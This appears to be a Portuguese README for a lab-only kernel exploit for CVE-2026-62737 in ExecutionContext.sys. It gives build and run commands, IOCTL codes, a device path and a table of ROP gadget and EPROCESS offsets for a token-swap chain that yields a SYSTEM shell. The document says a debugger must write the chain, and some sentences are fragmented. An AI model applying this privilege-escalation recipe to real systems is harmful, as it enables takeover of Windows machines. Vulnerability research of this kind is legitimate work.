
Eleva um processo Windows de baixo privilégio para SYSTEM por meio de uma cadeia ROP de troca de token auxiliada por gdb, demonstrando o CVE-2026-62737 em um ambiente QEMU somente de laboratório.
Uma continuação do writeup original do CVE-2026-62737
(ExecutionContext.sys chamada indireta arbitrária no kernel). Ele transforma
o PoC de crash em uma cadeia funcional de troca de token que executa
cmd.exe como SYSTEM, mas apenas em um laboratório onde um depurador fornece
endereços e escreve a cadeia ROP na memória do kernel. Isso não é um
exploit independente.
ExecutionContext por meio do proxy KLoader como um usuário de baixo privilégio.0x22EC40) e enfileira uma tarefa (0x22AC54)
cujo Callback é um pivot de ROP no kernel.patch_rop.py) escreve uma cadeia ROP de troca de token em
ExecutionContext .data e captura o RSP/RBP no momento do pivot por meio de
um breakpoint de hardware.0x226C5C);
a cadeia troca nosso token pelo do SYSTEM, restaura a pilha do kernel e
retorna para o dispatcher do driver para que o worker sobreviva.gdbserver tcp::1234), um guest agent e uma pasta compartilhada host/guest montada como Z:.\\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}.x86_64-w64-mingw32-gcc) e gdb no host.x86_64-w64-mingw32-gcc -O2 -municode -o exploit.exe exploit.c
x86_64-w64-mingw32-gcc -O2 -o modlist.exe modlist.c
Obtenha as bases atualizadas: ./ga.py 'Z:\modlist.exe' (após copiar modlist.exe para a pasta compartilhada)
Atualize os scripts: ./refresh_bases.sh
Copie exploit.exe e modlist.exe para a pasta compartilhada.
Inicie o exploit como o usuário de baixo privilégio: exploit.exe <nt> <ec> <ec+0x10A00>. Ele grava seu PID em Z:\lab_pid.txt e aguarda por Z:\go_lab.txt.
Anexe o gdb, apontando LAB_PID_FILE para a cópia no host de lab_pid.txt:
LAB_PID_FILE=/path/to/shared/lab_pid.txt \
gdb -q -ex 'target remote :1234' -ex 'set pagination off' -x patch_rop.py
Digite continue no prompt do gdb.
MIT, veja LICENSE.
| Arquivo | Finalidade |
|---|
exploit.c | Exploit de laboratório: init + enfileiramento + espera pelo patch do gdb + verificação de token + execução do cmd. |
patch_rop.py | Script gdb: localiza nosso EPROCESS, escreve a cadeia ROP e arma o breakpoint de pivot. |
trace_rop.py | Mesma configuração, mas executa a cadeia passo a passo para depuração. |
refresh_bases.sh | Atualiza as bases nt/ec por boot nos scripts gdb a partir da saída do modlist.exe. |
modlist.c | Imprime a base do ntoskrnl / ExecutionContext por boot (oráculo de KASLR do laboratório). |
ga.py | Executa comandos dentro da VM do laboratório por meio do guest agent do QEMU. |
Libere o exploit: touch /path/to/shared/go_lab.txt
Após ~15 s, Z:\lab_exploit_out.txt deve mostrar system=1 e Z:\lab_shell_out.txt deve conter nt authority\system.
| Item | Valor |
|---|
| ROP pivot (full) | nt + 0x6A6A40 |
pop rcx; ret | nt + 0x28843A |
pop rdx; ret | nt + 0x2FECD2 |
mov [rcx], rdx; ret | nt + 0x3BC6A7 |
ret | nt + 0x20043B |
pop rsp; ret | nt + 0x2006C4 |
PsInitialSystemProcess | nt + 0xFC6AF0 |
_EPROCESS.Token | 0x248 |
_EPROCESS.UniqueProcessId | 0x1D0 |
_EPROCESS.ActiveProcessLinks | 0x1D8 |